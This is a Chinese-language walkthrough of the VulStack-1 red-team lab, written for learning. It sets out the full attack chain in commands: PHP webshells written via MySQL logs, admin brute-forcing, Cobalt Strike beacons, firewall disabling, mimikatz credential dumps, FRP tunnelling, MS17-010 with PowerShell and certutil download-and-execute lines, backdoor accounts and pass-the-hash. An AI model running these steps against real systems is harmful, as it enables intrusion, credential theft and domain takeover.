ctf網絡安全大賽,紅隊實戰之VulStack-1
紅日靶機系列是完全模擬ATT
如果我們通過into outfile
來寫入木馬,那么由于secure_file_priv
的限制會導致這種方案并不可行
select '?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';
因此我們需要通過日志來寫入木馬,嘗試開啟日志記錄
set global general_log = "ON";
查看日志記錄文件
show variables like "general%";
修改日志記錄文件為木馬文件
set global general_log_file="C:/phpStudy/www/mac.php";
寫入木馬至指定日志記錄文件當中
select '?php eval($_POST["mac"]);?>'
成功通過蟻劍連接木馬文件
YXCMS后臺上傳木馬
在源碼中解壓后發現yxcms
目錄并嘗試訪問,訪問后發現頁面為 YXCMS
由于 YXCMS 的默認后臺為index.php?r=admin
,我們嘗試訪問該后臺地址
使用 BurpSuite 截取數據包,復用驗證碼嘗試爆破密碼
成功爆破出 admin 密碼為 123456,使用該賬戶密碼成功登錄后臺
選擇前臺模版并在index_index.php
插入木馬
保存成功后使用蟻劍連接木馬文件
0x03 內網信息探測
CS上線云服務器
在蟻劍中執行命令發現當前用戶為域管理員,那么可以省去提權過程并直接上線CS
在CS中開啟 http 監聽器并生成利用程序mac1.exe
上傳木馬后并在命令行中直接執行
成功上線CS
本機基礎環境信息收集
減少回連時間為3秒并查看網絡連接情況
sleep 3
shell ipconfig
如果有需要的話可以關閉防火墻
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
成功發現目標存在兩個網段,說明內網網段中可能存在其他主機
192.168.0.0/24
192.168.52.0/24
運行 mimikatz 成功獲得管理員密碼為Mac123456
logonpasswords
成功獲取用戶哈希值
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
借助梼杌插件通過 ms14-058 可直接將權限提升至 SYSTEM
成功上線 SYSTEM 系統管理員
內網域環境信息收集
內網信息收集的目的是查找域控以及其他域內主機,以下為常見的內網信息收集命令
net view # 查看局域網內其他主機名
net config Workstation # 查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域
net user # 查看本機用戶列表
net user /domain # 查看域用戶
net localgroup administrators # 查看本地管理員組(通常會有域用戶)
net view /domain # 查看有幾個域
net user 用戶名 /domain # 獲取指定域用戶的信息
net group /domain # 查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作)
net group 組名 /domain # 查看域中某工作組
net group "domain admins" /domain # 查看域管理員的名字
net group "domain computers" /domain # 查看域中的其他主機名
net group "doamin controllers" /domain # 查看域控制器主機名(可能有多臺)
首先我們需要判斷當前域名是什么?判斷的方式有許多種,以下為常用的幾種方式
shell ipconfig /all
shell net config workstation
成功探測到當前域名為god.org
,接下來需要探索目標存在多少域
shell net view /domain
結果顯示目標只存在GOD
域,而WORKGROUP
只是工作組而已。然后嘗試尋找域控主機名
shell net group "domain controllers" /domain
結果顯示報錯
RPC 服務器不可用
,這是什么原因造成的呢?
原來是目標無法完成域名解析,因此我們可以在外網網卡中設置 DNS 服務器為域控
再次尋找域控并確認域控主機名為OWA
有了域控主機名以后我們嘗試尋找其他域內主機
net view
shell net group "domain computers" /domain
至此內網信息搜集完畢,域內主機的分布如下,我們需要進一步完成橫向滲透
主機名 | IP地址 | 是否為域控 |
---|---|---|
OWA | 192.168.52.138 | 是 |
ROOT-TVI862UBEH | 192.168.52.141 | 否 |
STU1 | 192.168.52.143 | 否 |
0x03 內網橫向滲透
建立FRP代理隧道
為了更好地模擬真實環境,我們可以通過在云服務器上搭建 FRP 隧道訪問目標內網。
FRP配置
frps.ini
配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678
frpc.ini
配置:
[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
FRP連接
在云服務器上啟動 FRP
./frps -c frps.ini
上傳 FRP 至靶機后查看文件
在 CS 上啟動連接
shell frpc.exe -c frpc.ini
在本地設置 proxychains 連接目標的6000端口建立 FRP 隧道
vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000
使用 nmap 掃描內網主機進行測試,連接成功說明隧道建立成功
proxychains4 nmap 192.168.52.138 -p 135,445,80
MSF永恒之藍漏洞利用
FSCAN漏洞掃描
在 CS 中上傳 fsacn 并設置掃描目標
## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143
使用 fscan 掃描目標,結果顯示全部目標都存在 MS17-010 漏洞
shell fscan64.exe -hf hosts.txt
域控主機上線CS
在 CS 的會話當中設置新的監聽器用于上線內網主機
需要注意的是在設置監聽器時需要確認內網代理主機的IP地址,否則會導致內網主機無法連接
借用該監聽器生成相應木馬mac2.exe
成功將該木馬上傳至目標的站點目錄
在本地開啟 MSF 并設置代理
msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
使用 MSF 執行命令上線 CS
msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run
域控主機成功上線CS
域內主機上線CS
在使用 MS17-010 攻擊域內主機時 CS 無法上線,這是因為該主機為 Windows Server 2003,我們無法使用 powershell 執行命令,與此同時該操作系統為 X86 架構,對應需要使用32位的木馬。因此我們需要使用 CS 生成32位木馬mac3.exe
同樣地我們將其上傳至目標的站點目錄
重新設置命令使用 certutil 下載木馬,但是目標返回報錯信息
msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run
那么我們換一種思路,嘗試通過永恒之藍創建管理員賬戶
net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac
嘗試使用新建管理員通過IPC$
進行連接,但目標無法連接
shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac
嘗試使用域管理員進行登錄,目標連接成功
shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use
將木馬復制到域內主機的C盤目錄當中
shell cd .. && copy mac3.exe \\192.168.52.141\c$
在 MSF 中通過 MS17-010 執行木馬
msf > set command "C:\\mac3.exe"
msf > show options
msf > run
域內主機成功上線CS
域管理員憑證傳遞利用
憑證傳遞利用原理
通過域管理員的憑證可以快速拿下目標域環境,在 CS 中還給我們提供了 SMB Beacon,它主要通過 SMB 協議建立連接,使用命名管道通過父級 Beacon 進行通訊,當兩個 Beacons 鏈接后,子 Beacon 會從父 Beacon 獲取到任務并發送。因為鏈接的 Beacon 使用 Windows 命名管道進行通信,因此流量封裝在 SMB 協議中,所以 SMB Beacon 相對隱蔽,繞防火墻時可能發揮奇效。
憑證傳遞上線CS
在 CS 的會話中建立 SMB 監聽器用于快速傳遞憑證
在Targets
中選擇 psexec_psh 傳遞哈希值
選擇會話并設置 SMB 監聽器
域控主機成功上線CS
同樣利用該方法無法上線域內主機,這主要是因為目標沒有 powershell 環境,我們可以通過 psexec 方式來傳遞哈希
域內主機成功上線CS
0x04 靶場學習總結
這是我第二次做該靶場,第一次做的時候只采用了憑證傳遞的利用方式,并沒有考慮 MS17-010 漏洞利用,也沒有采用隧道的方式來訪問內網,經過這些天的考慮后我決定重做溫習一遍,一是重新整理一下思路;二是鍛煉一下內網滲透思路。當然在練習過程中我也遇到了許多問題,比如 certutil.exe 怎么無法在 Windows Server 2003 中傳遞保存木馬文件、FTP 匿名登錄漏洞如何通過代理登錄利用等,顯然這些問題在打靶記錄中未直接體現。但它們對滲透思路的打磨有很大幫助。同時非常感謝紅日團隊以及前輩的實踐,我將繼續對后續靶場進行研究學習。